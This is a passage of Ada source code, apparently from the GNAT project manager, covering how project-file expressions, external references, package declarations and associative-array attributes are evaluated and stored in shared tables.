if To.Arrays = No_Array then To.Arrays := Array_Table.Last (Shared.Arrays); else Shared.Arrays.Table (A2).Next := Array_Table.Last (Shared.Arrays); end if; A2 := Array_Table.Last (Shared.Arrays); -- Don't store the array as its first element has not been set yet -- Copy the array elements of the array E1 := Arr.Value; Arr.Value := No_Array_Element; while E1 /= No_Array_Element loop -- Copy the array element Elm := Shared.Array_Elements.Table (E1); E1 := Elm.Next; -- Remove the Next component Elm.Next := No_Array_Element; Elm.Restricted := Restricted; -- Change the location Elm.Value.Location := New_Loc; Array_Element_Table.Increment_Last (Shared.Array_Elements); -- Create new array element if Arr.Value = No_Array_Element then Arr.Value := Array_Element_Table.Last (Shared.Array_Elements); else Shared.Array_Elements.Table (E2).Next := Array_Element_Table.Last (Shared.Array_Elements); end if; E2 := Array_Element_Table.Last (Shared.Array_Elements); Shared.Array_Elements.Table (E2) := Elm; end loop; -- Finally, store the new array Shared.Arrays.Table (A2) := Arr; end loop; end Copy_Package_Declarations; ------------------------- -- Get_Attribute_Index -- ------------------------- function Get_Attribute_Index (Tree : Project_Node_Tree_Ref; Attr : Project_Node_Id; Index : Name_Id) return Name_Id is begin if Index = All_Other_Names or else not Case_Insensitive (Attr, Tree) then return Index; end if; Get_Name_String (Index); To_Lower (Name_Buffer (1 .. Name_Len)); return Name_Find; end Get_Attribute_Index; ---------------- -- Expression -- ---------------- function Expression (Project : Project_Id; Shared : Shared_Project_Tree_Data_Access; From_Project_Node : Project_Node_Id; From_Project_Node_Tree : Project_Node_Tree_Ref; Env : Prj.Tree.Environment; Pkg : Package_Id; First_Term : Project_Node_Id; Kind : Variable_Kind) return Variable_Value is The_Term : Project_Node_Id; -- The term in the expression list The_Current_Term : Project_Node_Id := Empty_Node; -- The current term node id Result : Variable_Value (Kind => Kind); -- The returned result Last : String_List_Id := Nil_String; -- Reference to the last string elements in Result, when Kind is List Current_Term_Kind : Project_Node_Kind; begin Result.Project := Project; Result.Location := Location_Of (First_Term, From_Project_Node_Tree); -- Process each term of the expression, starting with First_Term The_Term := First_Term; while Present (The_Term) loop The_Current_Term := Current_Term (The_Term, From_Project_Node_Tree); if The_Current_Term /= Empty_Node then Current_Term_Kind := Kind_Of (The_Current_Term, From_Project_Node_Tree); case Current_Term_Kind is when N_Literal_String => case Kind is when Undefined => -- Should never happen pragma Assert (False, "Undefined expression kind"); raise Program_Error; when Single => Add (Result.Value, String_Value_Of (The_Current_Term, From_Project_Node_Tree)); Result.Index := Source_Index_Of (The_Current_Term, From_Project_Node_Tree); when List => String_Element_Table.Increment_Last (Shared.String_Elements); if Last = Nil_String then -- This can happen in an expression like () & "toto" Result.Values := String_Element_Table.Last (Shared.String_Elements); else Shared.String_Elements.Table (Last).Next := String_Element_Table.Last (Shared.String_Elements); end if; Last := String_Element_Table.Last (Shared.String_Elements); Shared.String_Elements.Table (Last) := (Value => String_Value_Of (The_Current_Term, From_Project_Node_Tree), Index => Source_Index_Of (The_Current_Term, From_Project_Node_Tree), Display_Value => No_Name, Location => Location_Of (The_Current_Term, From_Project_Node_Tree), Flag => False, Next => Nil_String); end case; when N_Literal_String_List => declare String_Node : Project_Node_Id := First_Expression_In_List (The_Current_Term, From_Project_Node_Tree); Value : Variable_Value; begin if Present (String_Node) then -- If String_Node is nil, it is an empty list, there is -- nothing to do. Value := Expression (Project => Project, Shared => Shared, From_Project_Node => From_Project_Node, From_Project_Node_Tree => From_Project_Node_Tree, Env => Env, Pkg => Pkg, First_Term => Tree.First_Term (String_Node, From_Project_Node_Tree), Kind => Single); String_Element_Table.Increment_Last (Shared.String_Elements); if Result.Values = Nil_String then -- This literal string list is the first term in a -- string list expression Result.Values := String_Element_Table.Last (Shared.String_Elements); else Shared.String_Elements.Table (Last).Next := String_Element_Table.Last (Shared.String_Elements); end if; Last := String_Element_Table.Last (Shared.String_Elements); Shared.String_Elements.Table (Last) := (Value => Value.Value, Display_Value => No_Name, Location => Value.Location, Flag => False, Next => Nil_String, Index => Value.Index); loop -- Add the other element of the literal string list -- one after the other. String_Node := Next_Expression_In_List (String_Node, From_Project_Node_Tree); exit when No (String_Node); Value := Expression (Project => Project, Shared => Shared, From_Project_Node => From_Project_Node, From_Project_Node_Tree => From_Project_Node_Tree, Env => Env, Pkg => Pkg, First_Term => Tree.First_Term (String_Node, From_Project_Node_Tree), Kind => Single); String_Element_Table.Increment_Last (Shared.String_Elements); Shared.String_Elements.Table (Last).Next := String_Element_Table.Last (Shared.String_Elements); Last := String_Element_Table.Last (Shared.String_Elements); Shared.String_Elements.Table (Last) := (Value => Value.Value, Display_Value => No_Name, Location => Value.Location, Flag => False, Next => Nil_String, Index => Value.Index); end loop; end if; end; when N_Attribute_Reference | N_Variable_Reference => declare The_Project : Project_Id := Project; The_Package : Package_Id := Pkg; The_Name : Name_Id := No_Name; The_Variable_Id : Variable_Id := No_Variable; The_Variable : Variable_Value; Term_Project : constant Project_Node_Id := Project_Node_Of (The_Current_Term, From_Project_Node_Tree); Term_Package : constant Project_Node_Id := Package_Node_Of (The_Current_Term, From_Project_Node_Tree); Index : Name_Id := No_Name; begin <<Object_Dir_Restart>> The_Project := Project; The_Package := Pkg; The_Name := No_Name; The_Variable_Id := No_Variable; Index := No_Name; if Present (Term_Project) and then Term_Project /= From_Project_Node then -- This variable or attribute comes from another project The_Name := Name_Of (Term_Project, From_Project_Node_Tree); The_Project := Imported_Or_Extended_Project_From (Project => Project, With_Name => The_Name, No_Extending => True); end if; if Present (Term_Package) then -- This is an attribute of a package The_Name := Name_Of (Term_Package, From_Project_Node_Tree); The_Package := The_Project.Decl.Packages; while The_Package /= No_Package and then Shared.Packages.Table (The_Package).Name /= The_Name loop The_Package := Shared.Packages.Table (The_Package).Next; end loop; pragma Assert (The_Package /= No_Package, "package not found."); elsif Kind_Of (The_Current_Term, From_Project_Node_Tree) = N_Attribute_Reference then The_Package := No_Package; end if; The_Name := Name_Of (The_Current_Term, From_Project_Node_Tree); if Current_Term_Kind = N_Attribute_Reference then Index := Associative_Array_Index_Of (The_Current_Term, From_Project_Node_Tree); end if; -- If it is not an associative array attribute if Index = No_Name then -- It is not an associative array attribute if The_Package /= No_Package then -- First, if there is a package, look into the package if Current_Term_Kind = N_Variable_Reference then The_Variable_Id := Shared.Packages.Table (The_Package).Decl.Variables; else The_Variable_Id := Shared.Packages.Table (The_Package).Decl.Attributes; end if; while The_Variable_Id /= No_Variable and then Shared.Variable_Elements.Table (The_Variable_Id).Name /= The_Name loop The_Variable_Id := Shared.Variable_Elements.Table (The_Variable_Id).Next; end loop; end if; if The_Variable_Id = No_Variable then -- If we have not found it, look into the project if Current_Term_Kind = N_Variable_Reference then The_Variable_Id := The_Project.Decl.Variables; else The_Variable_Id := The_Project.Decl.Attributes; end if; while The_Variable_Id /= No_Variable and then Shared.Variable_Elements.Table (The_Variable_Id).Name /= The_Name loop The_Variable_Id := Shared.Variable_Elements.Table (The_Variable_Id).Next; end loop; end if; if From_Project_Node_Tree.Incomplete_With then if The_Variable_Id = No_Variable then The_Variable := Nil_Variable_Value; else The_Variable := Shared.Variable_Elements.Table (The_Variable_Id).Value; end if; else pragma Assert (The_Variable_Id /= No_Variable, "variable or attribute not found"); The_Variable := Shared.Variable_Elements.Table (The_Variable_Id).Value; end if; else -- It is an associative array attribute declare The_Array : Array_Id := No_Array; The_Element : Array_Element_Id := No_Array_Element; Array_Index : Name_Id := No_Name; begin if The_Package /= No_Package then The_Array := Shared.Packages.Table (The_Package).Decl.Arrays; else The_Array := The_Project.Decl.Arrays; end if; while The_Array /= No_Array and then Shared.Arrays.Table (The_Array).Name /= The_Name loop The_Array := Shared.Arrays.Table (The_Array).Next; end loop; if The_Array /= No_Array then The_Element := Shared.Arrays.Table (The_Array).Value; Array_Index := Get_Attribute_Index (From_Project_Node_Tree, The_Current_Term, Index); while The_Element /= No_Array_Element and then Shared.Array_Elements.Table (The_Element).Index /= Array_Index loop The_Element := Shared.Array_Elements.Table (The_Element).Next; end loop; end if; if The_Element /= No_Array_Element then The_Variable := Shared.Array_Elements.Table (The_Element).Value; else if Expression_Kind_Of (The_Current_Term, From_Project_Node_Tree) = List then The_Variable := (Project => Project, Kind => List, Location => No_Location, Default => True, Values => Nil_String); else The_Variable := (Project => Project, Kind => Single, Location => No_Location, Default => True, Value => Empty_String, Index => 0); end if; end if; end; end if; -- Check the defaults if Current_Term_Kind = N_Attribute_Reference then declare The_Default : constant Attribute_Default_Value := Default_Of (The_Current_Term, From_Project_Node_Tree); begin -- Check the special value for 'Target when specified if The_Default = Target_Value and then Opt.Target_Origin = Specified then Name_Len := 0; Add_Str_To_Name_Buffer (Opt.Target_Value.all); The_Variable.Value := Name_Find; -- Check the defaults elsif The_Variable.Default then case The_Variable.Kind is when Undefined => null; when Single => case The_Default is when Read_Only_Value => null; when Empty_Value => The_Variable.Value := Empty_String; when Dot_Value => The_Variable.Value := Dot_String; when Object_Dir_Value => From_Project_Node_Tree.Project_Nodes.Table (The_Current_Term).Name := Snames.Name_Object_Dir; From_Project_Node_Tree.Project_Nodes.Table (The_Current_Term).Default := Dot_Value; goto Object_Dir_Restart; when Target_Value => if Opt.Target_Value = null then The_Variable.Value := Empty_String; else Name_Len := 0; Add_Str_To_Name_Buffer (Opt.Target_Value.all); The_Variable.Value := Name_Find; end if; when Runtime_Value => Get_Name_String (Index); To_Lower (Name_Buffer (1 .. Name_Len)); The_Variable.Value := Runtime_Defaults.Get (Name_Find); if The_Variable.Value = No_Name then The_Variable.Value := Empty_String; end if; end case; when List => case The_Default is when Read_Only_Value => null; when Empty_Value => The_Variable.Values := Nil_String; when Dot_Value => The_Variable.Values := Shared.Dot_String_List; when Object_Dir_Value | Runtime_Value | Target_Value => null; end case; end case; end if; end; end if; case Kind is when Undefined => -- Should never happen pragma Assert (False, "undefined expression kind"); null; when Single => case The_Variable.Kind is when Undefined => null; when Single => Add (Result.Value, The_Variable.Value); when List => -- Should never happen pragma Assert (False, "list cannot appear in single " & "string expression"); null; end case; when List => case The_Variable.Kind is when Undefined => null; when Single => String_Element_Table.Increment_Last (Shared.String_Elements); if Last = Nil_String then -- This can happen in an expression such as -- () & Var Result.Values := String_Element_Table.Last (Shared.String_Elements); else Shared.String_Elements.Table (Last).Next := String_Element_Table.Last (Shared.String_Elements); end if; Last := String_Element_Table.Last (Shared.String_Elements); Shared.String_Elements.Table (Last) := (Value => The_Variable.Value, Display_Value => No_Name, Location => Location_Of (The_Current_Term, From_Project_Node_Tree), Flag => False, Next => Nil_String, Index => 0); when List => declare The_List : String_List_Id := The_Variable.Values; begin while The_List /= Nil_String loop String_Element_Table.Increment_Last (Shared.String_Elements); if Last = Nil_String then Result.Values := String_Element_Table.Last (Shared.String_Elements); else Shared. String_Elements.Table (Last).Next := String_Element_Table.Last (Shared.String_Elements); end if; Last := String_Element_Table.Last (Shared.String_Elements); Shared.String_Elements.Table (Last) := (Value => Shared.String_Elements.Table (The_List).Value, Display_Value => No_Name, Location => Location_Of (The_Current_Term, From_Project_Node_Tree), Flag => False, Next => Nil_String, Index => 0); The_List := Shared.String_Elements.Table (The_List).Next; end loop; end; end case; end case; end; when N_External_Value => Get_Name_String (String_Value_Of (External_Reference_Of (The_Current_Term, From_Project_Node_Tree), From_Project_Node_Tree)); declare Name : constant Name_Id := Name_Find; Default : Name_Id := No_Name; Value : Name_Id := No_Name; Ext_List : Boolean := False; Str_List : String_List_Access := null; Def_Var : Variable_Value; Default_Node : constant Project_Node_Id := External_Default_Of (The_Current_Term, From_Project_Node_Tree); begin -- If there is a default value for the external reference, -- get its value. if Present (Default_Node) then Def_Var := Expression (Project => Project, Shared => Shared, From_Project_Node => From_Project_Node, From_Project_Node_Tree => From_Project_Node_Tree, Env => Env, Pkg => Pkg, First_Term => Tree.First_Term (Default_Node, From_Project_Node_Tree), Kind => Single); if Def_Var /= Nil_Variable_Value then Default := Def_Var.Value; end if; end if; Ext_List := Expression_Kind_Of (The_Current_Term, From_Project_Node_Tree) = List; if Ext_List then Value := Prj.Ext.Value_Of (Env.External, Name, No_Name); if Value /= No_Name then declare Sep : constant String := Get_Name_String (Default); First : Positive := 1; Lst : Natural; Done : Boolean := False; Nmb : Natural; begin Get_Name_String (Value); if Name_Len = 0 or else Sep'Length = 0 or else Name_Buffer (1 .. Name_Len) = Sep then Done := True; end if; if not Done and then Name_Len < Sep'Length then Str_List := new String_List' (1 => new String' (Name_Buffer (1 .. Name_Len))); Done := True; end if; if not Done then if Name_Buffer (1 .. Sep'Length) = Sep then First := Sep'Length + 1; end if; if Name_Len - First + 1 >= Sep'Length and then Name_Buffer (Name_Len - Sep'Length + 1 .. Name_Len) = Sep then Name_Len := Name_Len - Sep'Length; end if; if Name_Len = 0 then Str_List := new String_List'(1 => new String'("")); Done := True; end if; end if; if not Done then -- Count the number of strings declare Saved : constant Positive := First; begin Nmb := 1; loop Lst := Index (Source => Name_Buffer (First .. Name_Len), Pattern => Sep); exit when Lst = 0; Nmb := Nmb + 1; First := Lst + Sep'Length; end loop; First := Saved; end; Str_List := new String_List (1 .. Nmb); -- Populate the string list Nmb := 1; loop Lst := Index (Source => Name_Buffer (First .. Name_Len), Pattern => Sep); if Lst = 0 then Str_List (Nmb) := new String' (Name_Buffer (First .. Name_Len)); exit; else Str_List (Nmb) := new String' (Name_Buffer (First .. Lst - 1)); Nmb := Nmb + 1; First := Lst + Sep'Length; end if; end loop; end if; end; end if; else -- Get the value Value := Prj.Ext.Value_Of (Env.External, Name, Default); if Value = No_Name then if not Quiet_Output then Error_Msg (Env.Flags, "?undefined external reference", Location_Of (The_Current_Term, From_Project_Node_Tree), Project); end if; Value := Empty_String; end if; end if; case Kind is when Undefined => null; when Single => if Ext_List then null; -- error else Add (Result.Value, Value); end if; when List => if not Ext_List or else Str_List /= null then String_Element_Table.Increment_Last (Shared.String_Elements); if Last = Nil_String then Result.Values := String_Element_Table.Last (Shared.String_Elements); else Shared.String_Elements.Table (Last).Next := String_Element_Table.Last (Shared.String_Elements); end if; Last := String_Element_Table.Last (Shared.String_Elements); if Ext_List then for Ind in Str_List'Range loop Name_Len := 0; Add_Str_To_Name_Buffer (Str_List (Ind).all); Value := Name_Find; Shared.String_Elements.Table (Last) := (Value => Value, Display_Value => No_Name, Location => Location_Of (The_Current_Term, From_Project_Node_Tree), Flag => False, Next => Nil_String, Index => 0); if Ind /= Str_List'Last then String_Element_Table.Increment_Last (Shared.String_Elements); Shared.String_Elements.Table (Last).Next := String_Element_Table.Last (Shared.String_Elements); Last := String_Element_Table.Last (Shared.String_Elements); end if; end loop; else Shared.String_Elements.Table (Last) := (Value => Value, Display_Value => No_Name, Location => Location_Of (The_Current_Term, From_Project_Node_Tree), Flag => False, Next => Nil_String, Index => 0); end if; end if; end case; end; when others => -- Should never happen pragma Assert (False, "illegal node kind in an expression"); raise Program_Error; end case; end if; The_Term := Next_Term (The_Term, From_Project_Node_Tree); end loop; return Result; end Expression; --------------------------------------- -- Imported_Or_Extended_Project_From -- --------------------------------------- function Imported_Or_Extended_Project_From (Project : Project_Id; With_Name : Name_Id; No_Extending : Boolean := False) return Project_Id is List : Project_List; Result : Project_Id; Temp_Result : Project_Id; begin -- First check if it is the name of an extended project Result := Project.Extends; while Result /= No_Project loop if Result.Name = With_Name then return Result; else Result := Result.Extends; end if; end loop; -- Then check the name of each imported project Temp_Result := No_Project; List := Project.Imported_Projects; while List /= null loop Result := List.Project; -- If the project is directly imported, then returns its ID if Result.Name = With_Name then return Result; end if; -- If a project extending the project is imported, then keep this -- extending project as a possibility. It will be the returned ID -- if the project is not imported directly. declare Proj : Project_Id; begin Proj := Result.Extends; while Proj /= No_Project loop if Proj.Name = With_Name then if No_Extending then Temp_Result := Proj; else Temp_Result := Result; end if; exit; end if; Proj := Proj.Extends; end loop; end; List := List.Next; end loop; pragma Assert (Temp_Result /= No_Project, "project not found"); return Temp_Result; end Imported_Or_Extended_Project_From; ------------------ -- Package_From -- ------------------ function Package_From (Project : Project_Id; Shared : Shared_Project_Tree_Data_Access; With_Name : Name_Id) return Package_Id is Result : Package_Id := Project.Decl.Packages; begin -- Check the name of each existing package of Project while Result /= No_Package and then Shared.Packages.Table (Result).Name /= With_Name loop Result := Shared.Packages.Table (Result).Next; end loop; if Result = No_Package then -- Should never happen Write_Line ("package """ & Get_Name_String (With_Name) & """ not found"); raise Program_Error; else return Result; end if; end Package_From; ------------- -- Process -- ------------- procedure Process (In_Tree : Project_Tree_Ref; Project : out Project_Id; Packages_To_Check : String_List_Access; Success : out Boolean; From_Project_Node : Project_Node_Id; From_Project_Node_Tree : Project_Node_Tree_Ref; Env : in out Prj.Tree.Environment; Reset_Tree : Boolean := True; On_New_Tree_Loaded : Tree_Loaded_Callback := null) is begin Process_Project_Tree_Phase_1 (In_Tree => In_Tree, Project => Project, Success => Success, From_Project_Node => From_Project_Node, From_Project_Node_Tree => From_Project_Node_Tree, Env => Env, Packages_To_Check => Packages_To_Check, Reset_Tree => Reset_Tree, On_New_Tree_Loaded => On_New_Tree_Loaded); if Project_Qualifier_Of (From_Project_Node, From_Project_Node_Tree) /= Configuration then Process_Project_Tree_Phase_2 (In_Tree => In_Tree, Project => Project, Success => Success, From_Project_Node => From_Project_Node, From_Project_Node_Tree => From_Project_Node_Tree, Env => Env); end if; end Process; ------------------------------- -- Process_Declarative_Items -- ------------------------------- procedure Process_Declarative_Items (Project : Project_Id; In_Tree : Project_Tree_Ref; From_Project_Node : Project_Node_Id; Node_Tree : Project_Node_Tree_Ref; Env : Prj.Tree.Environment; Pkg : Package_Id; Item : Project_Node_Id; Child_Env : in out Prj.Tree.Environment) is Shared : constant Shared_Project_Tree_Data_Access := In_Tree.Shared; procedure Check_Or_Set_Typed_Variable (Value : in out Variable_Value; Declaration : Project_Node_Id); -- Check whether Value is valid for this typed variable declaration. If -- it is an error, the behavior depends on the flags: either an error is -- reported, or a warning, or nothing. In the last two cases, the value -- of the variable is set to a valid value, replacing Value. procedure Process_Package_Declaration (Current_Item : Project_Node_Id); procedure Process_Attribute_Declaration (Current : Project_Node_Id); procedure Process_Case_Construction (Current_Item : Project_Node_Id); procedure Process_Associative_Array (Current_Item : Project_Node_Id); procedure Process_Expression (Current : Project_Node_Id); procedure Process_Expression_For_Associative_Array (Current : Project_Node_Id; New_Value : Variable_Value); procedure Process_Expression_Variable_Decl (Current_Item : Project_Node_Id; New_Value : Variable_Value); -- Process the various declarative items --------------------------------- -- Check_Or_Set_Typed_Variable -- --------------------------------- procedure Check_Or_Set_Typed_Variable (Value : in out Variable_Value; Declaration : Project_Node_Id) is Loc : constant Source_Ptr := Location_Of (Declaration, Node_Tree); Reset_Value : Boolean := False; Current_String : Project_Node_Id; begin -- Report an error for an empty string if Value.Value = Empty_String then Error_Msg_Name_1 := Name_Of (Declaration, Node_Tree); case Env.Flags.Allow_Invalid_External is when Error => Error_Msg (Env.Flags, "no value defined for %%", Loc, Project); when Warning => Reset_Value := True; Error_Msg (Env.Flags, "?no value defined for %%", Loc, Project); when Silent => Reset_Value := True; end case; else -- Loop through all the valid strings for the -- string type and compare to the string value. Current_String := First_Literal_String (String_Type_Of (Declaration, Node_Tree), Node_Tree); while Present (Current_String) and then String_Value_Of (Current_String, Node_Tree) /= Value.Value loop Current_String := Next_Literal_String (Current_String, Node_Tree); end loop; -- Report error if string value is not one for the string type if No (Current_String) then Error_Msg_Name_1 := Value.Value; Error_Msg_Name_2 := Name_Of (Declaration, Node_Tree); case Env.Flags.Allow_Invalid_External is when Error => Error_Msg (Env.Flags, "value %% is illegal for typed string %%", Loc, Project); when Warning => Error_Msg (Env.Flags, "?value %% is illegal for typed string %%", Loc, Project); Reset_Value := True; when Silent => Reset_Value := True; end case; end if; end if; if Reset_Value then Current_String := First_Literal_String (String_Type_Of (Declaration, Node_Tree), Node_Tree); Value.Value := String_Value_Of (Current_String, Node_Tree); end if; end Check_Or_Set_Typed_Variable; --------------------------------- -- Process_Package_Declaration -- --------------------------------- procedure Process_Package_Declaration (Current_Item : Project_Node_Id) is begin -- Do not process a package declaration that should be ignored if Expression_Kind_Of (Current_Item, Node_Tree) /= Ignored then -- Create the new package Package_Table.Increment_Last (Shared.Packages); declare New_Pkg : constant Package_Id := Package_Table.Last (Shared.Packages); The_New_Package : Package_Element; Project_Of_Renamed_Package : constant Project_Node_Id := Project_Of_Renamed_Package_Of (Current_Item, Node_Tree); begin -- Set the name of the new package The_New_Package.Name := Name_Of (Current_Item, Node_Tree); -- Insert the new package in the appropriate list if Pkg /= No_Package then The_New_Package.Next := Shared.Packages.Table (Pkg).Decl.Packages; Shared.Packages.Table (Pkg).Decl.Packages := New_Pkg; else The_New_Package.Next := Project.Decl.Packages; Project.Decl.Packages := New_Pkg; end if; Shared.Packages.Table (New_Pkg) := The_New_Package; if Present (Project_Of_Renamed_Package) then -- Renamed or extending package declare Project_Name : constant Name_Id := Name_Of (Project_Of_Renamed_Package, Node_Tree); Renamed_Project : constant Project_Id := Imported_Or_Extended_Project_From (Project, Project_Name); Renamed_Package : constant Package_Id := Package_From (Renamed_Project, Shared, Name_Of (Current_Item, Node_Tree)); begin -- For a renamed package, copy the declarations of the -- renamed package, but set all the locations to the -- location of the package name in the renaming -- declaration. Copy_Package_Declarations (From => Shared.Packages.Table (Renamed_Package).Decl, To => Shared.Packages.Table (New_Pkg).Decl, New_Loc => Location_Of (Current_Item, Node_Tree), Restricted => False, Shared => Shared); end; else -- Set the default values of the attributes Add_Attributes (Project, Project.Name, Name_Id (Project.Directory.Display_Name), Shared, Shared.Packages.Table (New_Pkg).Decl, First_Attribute_Of (Package_Id_Of (Current_Item, Node_Tree)), Project_Level => False); end if; -- Process declarative items (nothing to do when the package is -- renaming, as the first declarative item is null). Process_Declarative_Items (Project => Project, In_Tree => In_Tree, From_Project_Node => From_Project_Node, Node_Tree => Node_Tree, Env => Env, Pkg => New_Pkg, Item => First_Declarative_Item_Of (Current_Item, Node_Tree), Child_Env => Child_Env); end; end if; end Process_Package_Declaration; ------------------------------- -- Process_Associative_Array -- ------------------------------- procedure Process_Associative_Array (Current_Item : Project_Node_Id) is Current_Item_Name : constant Name_Id := Name_Of (Current_Item, Node_Tree); -- The name of the attribute Current_Location : constant Source_Ptr := Location_Of (Current_Item, Node_Tree); New_Array : Array_Id; -- The new associative array created Orig_Array : Array_Id; -- The associative array value Orig_Project_Name : Name_Id := No_Name; -- The name of the project where the associative array -- value is. Orig_Project : Project_Id := No_Project; -- The id of the project where the associative array -- value is. Orig_Package_Name : Name_Id := No_Name; -- The name of the package, if any, where the associative array value -- is located. Orig_Package : Package_Id := No_Package; -- The id of the package, if any, where the associative array value -- is located. New_Element : Array_Element_Id := No_Array_Element; -- Id of a new array element created Prev_Element : Array_Element_Id := No_Array_Element; -- Last new element id created Orig_Element : Array_Element_Id := No_Array_Element; -- Current array element in original associative array Next_Element : Array_Element_Id := No_Array_Element; -- Id of the array element that follows the new element. This is not -- always nil, because values for the associative array attribute may -- already have been declared, and the array elements declared are -- reused. Prj : Project_List; begin -- First find if the associative array attribute already has elements -- declared. if Pkg /= No_Package then New_Array := Shared.Packages.Table (Pkg).Decl.Arrays; else New_Array := Project.Decl.Arrays; end if; while New_Array /= No_Array and then Shared.Arrays.Table (New_Array).Name /= Current_Item_Name loop New_Array := Shared.Arrays.Table (New_Array).Next; end loop; -- If the attribute has never been declared add new entry in the -- arrays of the project/package and link it. if New_Array = No_Array then Array_Table.Increment_Last (Shared.Arrays); New_Array := Array_Table.Last (Shared.Arrays); if Pkg /= No_Package then Shared.Arrays.Table (New_Array) := (Name => Current_Item_Name, Location => Current_Location, Value => No_Array_Element, Next => Shared.Packages.Table (Pkg).Decl.Arrays); Shared.Packages.Table (Pkg).Decl.Arrays := New_Array; else Shared.Arrays.Table (New_Array) := (Name => Current_Item_Name, Location => Current_Location, Value => No_Array_Element, Next => Project.Decl.Arrays); Project.Decl.Arrays := New_Array; end if; end if; -- Find the project where the value is declared Orig_Project_Name := Name_Of (Associative_Project_Of (Current_Item, Node_Tree), Node_Tree); Prj := In_Tree.Projects; while Prj /= null loop if Prj.Project.Name = Orig_Project_Name then Orig_Project := Prj.Project; exit; end if; Prj := Prj.Next; end loop; pragma Assert (Orig_Project /= No_Project, "original project not found"); if No (Associative_Package_Of (Current_Item, Node_Tree)) then Orig_Array := Orig_Project.Decl.Arrays; else -- If in a package, find the package where the value is declared Orig_Package_Name := Name_Of (Associative_Package_Of (Current_Item, Node_Tree), Node_Tree); Orig_Package := Orig_Project.Decl.Packages; pragma Assert (Orig_Package /= No_Package, "original package not found"); while Shared.Packages.Table (Orig_Package).Name /= Orig_Package_Name loop Orig_Package := Shared.Packages.Table (Orig_Package).Next; pragma Assert (Orig_Package /= No_Package, "original package not found"); end loop; Orig_Array := Shared.Packages.Table (Orig_Package).Decl.Arrays; end if; -- Now look for the array while Orig_Array /= No_Array and then Shared.Arrays.Table (Orig_Array).Name /= Current_Item_Name loop Orig_Array := Shared.Arrays.Table (Orig_Array).Next; end loop; if Orig_Array = No_Array then Error_Msg (Env.Flags, "associative array value not found", Location_Of (Current_Item, Node_Tree), Project); else Orig_Element := Shared.Arrays.Table (Orig_Array).Value; -- Copy each array element while Orig_Element /= No_Array_Element loop -- Case of first element if Prev_Element = No_Array_Element then -- And there is no array element declared yet, create a new -- first array element. if Shared.Arrays.Table (New_Array).Value = No_Array_Element then Array_Element_Table.Increment_Last (Shared.Array_Elements); New_Element := Array_Element_Table.Last (Shared.Array_Elements); Shared.Arrays.Table (New_Array).Value := New_Element; Next_Element := No_Array_Element; -- Otherwise, the new element is the first else New_Element := Shared.Arrays.Table (New_Array).Value; Next_Element := Shared.Array_Elements.Table (New_Element).Next; end if; -- Otherwise, reuse an existing element, or create -- one if necessary. else Next_Element := Shared.Array_Elements.Table (Prev_Element).Next; if Next_Element = No_Array_Element then Array_Element_Table.Increment_Last (Shared.Array_Elements); New_Element := Array_Element_Table.Last (Shared.Array_Elements); Shared.Array_Elements.Table (Prev_Element).Next := New_Element; else New_Element := Next_Element; Next_Element := Shared.Array_Elements.Table (New_Element).Next; end if; end if; -- Copy the value of the element Shared.Array_Elements.Table (New_Element) := Shared.Array_Elements.Table (Orig_Element); Shared.Array_Elements.Table (New_Element).Value.Project := Project; -- Adjust the Next link Shared.Array_Elements.Table (New_Element).Next := Next_Element; -- Adjust the previous id for the next element Prev_Element := New_Element; -- Go to the next element in the original array Orig_Element := Shared.Array_Elements.Table (Orig_Element).Next; end loop; -- Make sure that the array ends here, in case there previously a -- greater number of elements. Shared.Array_Elements.Table (New_Element).Next := No_Array_Element; end if; end Process_Associative_Array; ---------------------------------------------- -- Process_Expression_For_Associative_Array -- ---------------------------------------------- procedure Process_Expression_For_Associative_Array (Current : Project_Node_Id; New_Value : Variable_Value) is Name : constant Name_Id := Name_Of (Current, Node_Tree); Current_Location : constant Source_Ptr := Location_Of (Current, Node_Tree); Index_Name : Name_Id := Associative_Array_Index_Of (Current, Node_Tree); Source_Index : constant Int := Source_Index_Of (Current, Node_Tree); The_Array : Array_Id; Elem : Array_Element_Id := No_Array_Element; begin if Index_Name /= All_Other_Names then Index_Name := Get_Attribute_Index (Node_Tree, Current, Index_Name); end if; -- Look for the array in the appropriate list if Pkg /= No_Package then The_Array := Shared.Packages.Table (Pkg).Decl.Arrays; else The_Array := Project.Decl.Arrays; end if; while The_Array /= No_Array and then Shared.Arrays.Table (The_Array).Name /= Name loop The_Array := Shared.Arrays.Table (The_Array).Next; end loop; -- If the array cannot be found, create a new entry in the list. -- As The_Array_Element is initialized to No_Array_Element, a new -- element will be created automatically later if The_Array = No_Array then Array_Table.Increment_Last (Shared.Arrays); The_Array := Array_Table.Last (Shared.Arrays); if Pkg /= No_Package then Shared.Arrays.Table (The_Array) := (Name => Name, Location => Current_Location, Value => No_Array_Element, Next => Shared.Packages.Table (Pkg).Decl.Arrays); Shared.Packages.Table (Pkg).Decl.Arrays := The_Array; else Shared.Arrays.Table (The_Array) := (Name => Name, Location => Current_Location, Value => No_Array_Element, Next => Project.Decl.Arrays); Project.Decl.Arrays := The_Array; end if; else Elem := Shared.Arrays.Table (The_Array).Value; end if; -- Look in the list, if any, to find an element with the same index -- and same source index. while Elem /= No_Array_Element and then (Shared.Array_Elements.Table (Elem).Index /= Index_Name or else Shared.Array_Elements.Table (Elem).Src_Index /= Source_Index) loop Elem := Shared.Array_Elements.Table (Elem).Next; end loop; -- If no such element were found, create a new one -- and insert it in the element list, with the -- proper value. if Elem = No_Array_Element then Array_Element_Table.Increment_Last (Shared.Array_Elements); Elem := Array_Element_Table.Last (Shared.Array_Elements); Shared.Array_Elements.Table (Elem) := (Index => Index_Name, Restricted => False, Src_Index => Source_Index, Index_Case_Sensitive => not Case_Insensitive (Current, Node_Tree), Value => New_Value, Next => Shared.Arrays.Table (The_Array).Value); Shared.Arrays.Table (The_Array).Value := Elem; else -- An element with the same index already exists, just replace its -- value with the new one. Shared.Array_Elements.Table (Elem).Value := New_Value; end if; if Name = Snames.Name_External then if In_Tree.Is_Root_Tree then Add (Child_Env.External, External_Name => Get_Name_String (Index_Name), Value => Get_Name_String (New_Value.Value), Source => From_External_Attribute); Add (Env.External, External_Name => Get_Name_String (Index_Name), Value => Get_Name_String (New_Value.Value), Source => From_External_Attribute, Silent => True); else if Current_Verbosity = High then Debug_Output ("'for External' has no effect except in root aggregate (" & Get_Name_String (Index_Name) & ")", New_Value.Value); end if; end if; end if; end Process_Expression_For_Associative_Array; -------------------------------------- -- Process_Expression_Variable_Decl -- -------------------------------------- procedure Process_Expression_Variable_Decl (Current_Item : Project_Node_Id; New_Value : Variable_Value) is Name : constant Name_Id := Name_Of (Current_Item, Node_Tree); Is_Attribute : constant Boolean := Kind_Of 